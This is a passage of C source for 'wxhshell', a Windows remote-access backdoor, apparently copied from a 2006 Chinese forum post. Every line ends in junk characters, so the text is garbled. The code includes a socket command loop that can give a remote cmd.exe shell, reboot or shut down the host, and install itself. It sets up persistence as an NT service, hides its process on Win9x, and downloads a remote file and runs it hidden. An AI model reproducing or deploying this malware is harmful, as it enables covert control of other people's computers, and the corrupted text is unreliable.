  G !wFG-Y}  
  // 帮助 x%0Q W  
  case '?': { _%Jqyc"-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $+-2/=>Xk  
    break; hv8V=Z'Q  
  } 3PPN_Z  
  // 安装 ]x?`&f8i  
  case 'i': { `N$<]i]s5  
    if(Install()) U#-89.x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E7ixl~  
    else cR _ 8 5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ub0g{   
    break; Bh<)e5lP:  
    } <w<&,xM  
  // 卸载 :IvKxOv  
  case 'r': { bfhap(F~(e  
    if(Uninstall()) QF Vy2 q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K8f;AK  
    else a|{RK}|3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (@[c;+x  
    break; ,~>A>J  
    } @LqLtr@A  
  // 显示 wxhshell 所在路径 7:<co  
  case 'p': { 1UT&kD!si  
    char svExeFile[MAX_PATH]; $QN}2lJ>  
    strcpy(svExeFile,"\n\r"); C/U^8,6\n  
      strcat(svExeFile,ExeFile); )w=ehjV^m  
        send(wsh,svExeFile,strlen(svExeFile),0); 6O>NDTd%  
    break; F=bX\T7  
    } %dw@;IZ#8{  
  // 重启 -YPUrU[)  
  case 'b': { @Ge\odfF:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B=8],_  
    if(Boot(REBOOT)) H}Z\r2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XmJu{RbS  
    else { G AI( =  
    closesocket(wsh); $t}t'uJ  
    ExitThread(0); !#xk?LyB  
    } m:_'r"o  
    break; sba+J:#w  
    } gn4+$f~w  
  // 关机 `o4alK\  
  case 'd': { pbJC A&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `\Z7It?aDs  
    if(Boot(SHUTDOWN)) LpN_s#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H!PMb{e  
    else { 41dB4Td5t  
    closesocket(wsh); }g&A=u_2  
    ExitThread(0); M^S <G  
    } J B[n]|  
    break; j%%& G$Tfu  
    } KFZ2%:6>  
  // 获取shell &![3{G"+>l  
  case 's': { s aY;[bz}  
    CmdShell(wsh); oU"!"t  
    closesocket(wsh); :k&R]bc9  
    ExitThread(0); Fp=O:]  
    break; iX (<ozH  
  } ;xqN#mqq  
  // 退出 M it3q  
  case 'x': { csK;GSp}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wjEyU:  
    CloseIt(wsh); ~[a6  
    break; oyC5M+shP9  
    } GoSdo  
  // 离开 7F$G.LhMw  
  case 'q': { I.dS-)Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \%BII>VS  
    closesocket(wsh); [a201I0 -  
    WSACleanup(); e2F{}N  
    exit(1); ?2q4dx 0  
    break; ;+;%s D  
        } {f1iys'Om  
  } ~S\y)l\wZ  
  } ngLpiU0H&  
N1!O8"Q|*3  
  // 提示信息 ^ L?2y/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ! mb<z^>5  
} A  r,fmq  
  } 2p|ed=ly%  
@h=r;N#/`P  
  return; 15J t @{<r  
} Ah :d2*SR4  
Gov]^?^D-  
// shell模块句柄 3q-Xj:FP  
int CmdShell(SOCKET sock) ZVIlVuZ}  
{ eXA@J[- M:  
STARTUPINFO si; P1G;JK  
ZeroMemory(&si,sizeof(si)); IeN~ E'~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :q34KP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O= 84ZP%  
PROCESS_INFORMATION ProcessInfo; IRG-H!FV  
char cmdline[]="cmd"; .dPy<6E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Fa+#bX7  
  return 0; L S%;ZKJ  
} K#;EjR4H  
XMlcY;W  
// 自身启动模式 S; Fj9\2)I  
int StartFromService(void) | Kw}S/F  
{ >(He,o@M  
typedef struct tRYi q  
{ ~O8Xj6  
  DWORD ExitStatus; 5H!6m_,w  
  DWORD PebBaseAddress; 68QA%m'J  
  DWORD AffinityMask; 6 K-jje;)  
  DWORD BasePriority; 9s2 N!bx  
  ULONG UniqueProcessId; $s<bKju  
  ULONG InheritedFromUniqueProcessId; N$! Vm(S  
}   PROCESS_BASIC_INFORMATION; I><sK-3  
_FxQl ]@  
PROCNTQSIP NtQueryInformationProcess; I* 4g ;1x  
kWZ/O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |Ye%HpTTv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M/evZ?uis  
`nv82v  
  HANDLE             hProcess; <sor;;T  
  PROCESS_BASIC_INFORMATION pbi; 'Ivr =-  
_ lE d8Cb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dkAY%ztwo  
  if(NULL == hInst ) return 0; T{4Ru6[  
u(C?\HaH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "yf#sEabV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \9%RY]TK3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [DSD[[ z[  
JXAH/N& i  
  if (!NtQueryInformationProcess) return 0; ZU K'z  
VQ/Jz5^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m!sMr^W  
  if(!hProcess) return 0; zrE Dld9  
M?.[Rr-uw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v~KgCLo  
gaVQ3NqF  
  CloseHandle(hProcess); w ;]~2$  
't#E-+o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "!z9UiA  
if(hProcess==NULL) return 0; [fIElH<  
+ieRpVg  
HMODULE hMod; YdF\*tZ  
char procName[255]; tish%Qnpd  
unsigned long cbNeeded; -J(93@X 9  
jQi)pVT^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G21cJi*  
Hmv@7$9s\  
  CloseHandle(hProcess); 0k 6S`e9gI  
<j&LC /]o  
if(strstr(procName,"services")) return 1; // 以服务启动 m8NKuhu  
cRS2v--\-  
  return 0; // 注册表启动 +@jX|  
} eG\`SKx_  
;6/dFOZn  
// 主模块 (@ixV$Y  
int StartWxhshell(LPSTR lpCmdLine) i5CBLv  
{ m\;@~o'k  
  SOCKET wsl; 2Pic4Z  
BOOL val=TRUE; ,-.a! a  
  int port=0; V^E.9fs,  
  struct sockaddr_in door; p}9bZKyf  
!)+8:8H'  
  if(wscfg.ws_autoins) Install(); <ecif_a=m  
'.1_anE]  
port=atoi(lpCmdLine); 0PT\/imgN  
* v W#XDx  
if(port<=0) port=wscfg.ws_port; %2z] 2@  
WbH#@]+DN  
  WSADATA data; ;=F]{w]$+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .E&-gXJ4  
sJB::6+1(|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &0*IN nlc?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TYN~c(  
  door.sin_family = AF_INET; 61=D&lb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1k?k{Ri  
  door.sin_port = htons(port); J={R@}u  
a[A9(Ftn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L0dj 76'M  
closesocket(wsl); CH4 ~9mmE  
return 1; gy6Pf4Yo  
} t8\XO j  
1:VbbOu->V  
  if(listen(wsl,2) == INVALID_SOCKET) { P/;d|M(  
closesocket(wsl); c]!Yb-  
return 1; flzHZH  
} CF_pIfbaf  
  Wxhshell(wsl); Y1Sfhs )  
  WSACleanup(); 0tyS=X;#e  
/`vn/X^?^  
return 0; ;8J+Q0V  
wR*>9LjeG  
} xv:VW<  
^oT!%"\  
// 以NT服务方式启动 P_8z'pYd>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .uwD;j +#  
{ LH]<+Zren  
DWORD   status = 0; sm>5n_Vw  
  DWORD   specificError = 0xfffffff; MPI=^rc2  
f%JC;Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *oca   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^;=L|{Xl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z[pMlg6Z  
  serviceStatus.dwWin32ExitCode     = 0; Hd9vS"TN]  
  serviceStatus.dwServiceSpecificExitCode = 0; E3==gYCe*  
  serviceStatus.dwCheckPoint       = 0; /n&Y6@W  
  serviceStatus.dwWaitHint       = 0; 1w/Ur'8we  
.,$<waGD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PGaYYc3X  
  if (hServiceStatusHandle==0) return; d9kN @W  
Q>[Xm)jr:  
status = GetLastError(); Sp>v`{F  
  if (status!=NO_ERROR) :\<D q 71  
{ ;LjTsF'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {} gr\  
    serviceStatus.dwCheckPoint       = 0; oR_qAb  
    serviceStatus.dwWaitHint       = 0; l=.h]]`;  
    serviceStatus.dwWin32ExitCode     = status; m_pqU(sP  
    serviceStatus.dwServiceSpecificExitCode = specificError; @;K-@*k3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZI>')T<@j"  
    return; 4Cn% h)w  
  } ?5e]^H}  
J jp)%c#_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +dgHl_,i  
  serviceStatus.dwCheckPoint       = 0; 0/@ ^He8l  
  serviceStatus.dwWaitHint       = 0; B=p6p f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6-oy%OnN  
} 6+s10?  
d$}z,~sN  
// 处理NT服务事件,比如:启动、停止 ^+'[:rE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~Y.I;EPKt  
{ f+K vym.  
switch(fdwControl) o&Vti"fpC  
{ bh&Wy<Y  
case SERVICE_CONTROL_STOP: h]{V/  
  serviceStatus.dwWin32ExitCode = 0; &ap&dM0@%a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; eGF+@)K1"  
  serviceStatus.dwCheckPoint   = 0; _hz}I>G@B  
  serviceStatus.dwWaitHint     = 0; Uzzt+Iwm  
  { $2gX!)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $t{;- DpNB  
  } tzn+ M0'  
  return; ?Xq"Q^o4#e  
case SERVICE_CONTROL_PAUSE: 4[VW~x07  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -\dcs?  
  break; ,^K}_z\9f  
case SERVICE_CONTROL_CONTINUE: T>cO{I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r|,_qNrw  
  break; #PJHwvr  
case SERVICE_CONTROL_INTERROGATE: 818,E  
  break; c`E0sgp  
}; &h<\jqN/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 99G'`NO  
} Dm+[cA"I  
M8{J  
// 标准应用程序主函数 H,q-*Kk  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]I<w;.z  
{ dWK"Tkf\  
p`I[3/$3  
// 获取操作系统版本 2P( 6R.8;6  
OsIsNt=GetOsVer(); .X](B~\!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]H$Trf:L  
s,;7m  
  // 从命令行安装 9 7Ua,  
  if(strpbrk(lpCmdLine,"iI")) Install(); /a7N:Z_Bz  
2K VX  
  // 下载执行文件 7RZ HU+  
if(wscfg.ws_downexe) { /Y#Q<=X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]*]#I?&'Hx  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4o69t  
} %+ : $uk[  
;BmPP,  
if(!OsIsNt) { o#\c:D*k  
// 如果时win9x,隐藏进程并且设置为注册表启动 k((kx:  
HideProc(); &WJ;s*  
StartWxhshell(lpCmdLine); C-sFTf7  
} #\ l#f8(l  
else %$6?em_  
  if(StartFromService()) yW]>v>l:Eg  
  // 以服务方式启动 <0btwsv}  
  StartServiceCtrlDispatcher(DispatchTable); HXb^K  
else @ QfbIP9  
  // 普通方式启动 G{u(pC^  
  StartWxhshell(lpCmdLine); a^eR~efdu@  
pqDlg  
return 0; sUk&NM%>  
}
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只看该作者 1 发表于: 2006-10-10
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